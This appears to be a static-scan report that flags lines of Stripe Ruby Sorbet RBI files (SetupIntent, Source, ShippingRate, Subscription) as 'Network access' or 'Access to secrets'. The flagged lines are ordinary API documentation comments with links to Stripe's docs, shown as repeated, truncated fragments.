# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 564
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 565
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 567
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 568
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 569
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 570
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 571
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 572
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 573
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 574
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 577
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 578
# # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) sig { returns(T.nilable(::Stripe::SetupIntent)) } - Network accessline 579
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 595
end end # The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation. - Network accessline 596
end # The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation. sig { returns(T.nilable(T.any(String, ::Stripe::Application))) } - Network accessline 597
# The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation. - Network accessline 606
sig { returns(Integer) } def created; end # The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation. - Network accessline 607
def created; end # The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation. sig { returns(T.nilable(T.any(String, ::Stripe::Customer) - Network accessline 608
# The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation. - Network accessline 609
sig { returns(T.nilable(T.any(String, ::Stripe::Customer))) } def customer; end # The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time - Network accessline 610
def customer; end # The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time of this confirmation. sig { returns(T.nilable(String)) } - Network accessline 611
# The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time of this confirmation. - Network accessline 626
sig { returns(String) } def object; end # The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation. - Network accessline 627
def object; end # The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation. sig { returns(T.nilable(T.any(String, ::Stripe::Ac - Network accessline 628
# The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation. - Network accessline 644
sig { returns(String) } def status; end # The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`. - Network accessline 645
def status; end # The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`. sig { returns(String) } - Network accessline 646
# The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/setup_intent.rbi
- Network accessline 6
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting - Network accessline 7
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. # - Network accessline 8
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 10
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](ht - Network accessline 11
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you through the se - Network accessline 12
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 14
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 15
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through # [St - Network accessline 16
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 17
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 18
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 19
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 20
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # PaymentInt - Network accessline 21
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 24
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 25
# # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) class SetupIntent < APIResource - Network accessline 26
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 29
# Controls whether this SetupIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste - Network accessline 30
# # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, - Network accessline 31
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may - Network accessline 43
end class LastSetupError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they - Network accessline 44
class LastSetupError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide - Network accessline 45
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 49
sig { returns(T.nilable(String)) } def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 50
def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 51
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 52
sig { returns(T.nilable(String)) } def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t - Network accessline 53
def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. sig { returns(T.ni - Network accessline 54
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 55
sig { returns(T.nilable(String)) } def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 56
def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 57
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 80
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 81
# # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) sig { returns(T.nilable(::Stripe::PaymentIntent)) } - Network accessline 82
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 84
def payment_intent; end # PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 85
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to # Customer objects to store in - Network accessline 86
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 87
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 88
# # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). sig { returns(T.nilable(::Stripe::PaymentMethod)) } - Network accessline 89
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 98
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 99
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 100
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 102
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 103
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 104
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 106
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 107
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 108
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 109
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 110
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 111
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 112
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 113
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 116
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 117
# # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) sig { returns(T.nilable(::Stripe::SetupIntent)) } - Network accessline 118
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 319
sig { returns(String) } def amount_type; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 320
def amount_type; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 321
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 356
sig { returns(T.nilable(String)) } def network; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs. - Network accessline 357
def network; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). - Network accessline 358
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Access to secretsline 606
[Credential-related source omitted] - Network accessline 644
sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) } def mandate; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information a - Network accessline 645
def mandate; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilab - Network accessline 646
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 656
sig { returns(T.nilable(T.any(String, ::Stripe::Account))) } def on_behalf_of; end # ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card]( - Network accessline 657
def on_behalf_of; end # ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](https://docs.stripe.com/api/setup_attempts/object#setup_attempt_o - Network accessline 658
# ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](https://docs.stripe.com/api/setup_attempts/object#setup_attempt_object-payment_method_detai - Network accessline 659
sig { returns(T.nilable(T.any(String, ::Stripe::PaymentMethod))) } def payment_method; end # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent. - Network accessline 660
def payment_method; end # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent. sig { returns(T.nilable(PaymentMethodConfigurationDetails)) } - Network accessline 661
# Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent. - Network accessline 665
sig { returns(T.nilable(PaymentMethodOptions)) } def payment_method_options; end # The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](htt - Network accessline 666
def payment_method_options; end # The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payme - Network accessline 667
# The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type). - Network accessline 671
sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) } def single_use_mandate; end # [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmat - Network accessline 672
def single_use_mandate; end # [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `canceled`, or `succeeded` - Network accessline 673
# [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `canceled`, or `succeeded`. - Network accessline 681
# You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action. # # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit - Network accessline 682
# # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessi - Network accessline 683
# After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex - Network accessline 689
# You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action. # # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit - Network accessline 690
# # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessi - Network accessline 691
# After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex - Network accessline 735
# Creates a SetupIntent object. # # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) - Network accessline 736
# # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) # it to collect any required permissions to charge the payment method later. - Network accessline 737
# After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/shipping_rate.rbi
- Network accessline 5
module Stripe # Shipping rates describe the price of shipping presented to your customers and # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping). - Network accessline 6
# Shipping rates describe the price of shipping presented to your customers and # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping). class ShippingRat - Network accessline 7
# applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping). - Network accessline 67
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 68
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 69
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 70
sig { returns(String) } def currency; end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currenc - Network accessline 71
def currency; end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/cur - Network accessline 72
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 101
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 102
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 103
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 110
sig { returns(T.nilable(String)) } def tax_behavior; end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 111
def tax_behavior; end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. sig { returns(T.nilable(T.any(String, ::Stripe::TaxCode))) } - Network accessline 112
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/sigma/scheduled_query_run.rbi
- Network accessline 5
module Stripe module Sigma # If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll - Network accessline 6
module Sigma # If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll # receive a `sigma.scheduled_query_run.created` webhook each time the query - Network accessline 7
# If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/source.rbi
- Network accessline 9
# attached to customers. # # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 10
# # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 11
# Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 12
# We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 13
# This newer API provides access to our latest features and payment method types. # # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). - Network accessline 14
# # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). class Source < APIResource - Network accessline 15
# Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). - Network accessline 513
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 514
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 515
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 525
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 526
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 527
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 539
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 540
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 541
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 551
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 552
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 553
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 780
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 781
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 782
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 792
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 793
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 794
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 827
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 828
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 829
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Access to secretsline 965
[Credential-related source omitted] - Network accessline 970
sig { returns(Integer) } def created; end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required f - Network accessline 971
def created; end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required for `single_use` sources. - Network accessline 972
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required for `single_use` sources. - Network accessline 997
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 998
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 999
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1039
sig { returns(T.nilable(ThreeDSecure)) } def three_d_secure; end # The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay` - Network accessline 1040
def three_d_secure; end # The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`, `ideal`, `multibanco`, `klarna`, `p24`, `se - Network accessline 1041
# The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`, `ideal`, `multibanco`, `klarna`, `p24`, `sepa_debit`, `sofort`, `three_ - Network accessline 1056
# Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged. # # This request accepts the metadata and owner as arguments. It is also possible to update type spec - Network accessline 1057
# # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for mo - Network accessline 1058
# This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/source_mandate_notification.rbi
- Network accessline 79
# attached to customers. # # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 80
# # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 81
# Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 82
# We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 83
# This newer API provides access to our latest features and payment method types. # # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). - Network accessline 84
# # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). sig { returns(::Stripe::Source) } - Network accessline 85
# Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/source_transaction.rbi
- Network accessline 124
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 125
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 126
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/subscription.rbi
- Network accessline 6
# Subscriptions allow you to charge a customer on a recurring basis. # # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating) - Network accessline 7
# # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating) class Subscription < APIResource - Network accessline 8
# Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating) - Network accessline 225
sig { returns(T.nilable(String)) } def network; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://d - Network accessline 226
